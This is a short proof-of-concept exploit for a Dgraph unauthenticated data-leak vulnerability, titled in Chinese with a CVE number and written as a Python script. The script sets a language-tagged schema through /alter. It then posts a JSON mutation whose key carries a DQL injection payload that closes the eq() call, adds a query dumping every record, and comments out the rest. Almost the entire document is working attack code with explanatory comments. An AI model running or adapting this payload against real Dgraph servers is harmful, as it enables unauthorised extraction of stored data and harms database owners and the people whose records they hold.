CVE-2026-41328 Dgraph未认证数据泄露漏洞

import requests import json target = "http://localhost:8080" # Step 1: Setup schema with @lang to enable the vulnerable code path # This creates a predicate that accepts language tags schema = """ test: string @index(exact) @lang . """ requests.post(f"{target}/alter", data=schema) # Step 2: Exploit the DQL injection via JSON mutation # The injection payload closes the eq() function, adds a query block, and comments out the rest # Key format: predicateName@injection_payload injection_payload = { # Payload explanation: ) { func: all() { test } } # # 1. ')' closes the eq("test", "val") call inside addQueryIfUnique # 2. '{ func: all() { test } }' is the injected DQL query block # 3. '#' comments out the trailing syntax like '))' "test@) { all(func: has(test)) { uid test } } #": "value" } response = requests.post(f"{target}/mutate?commitNow=true", json=injection_payload) print("Status Code:", response.status_code) print("Response:", response.text)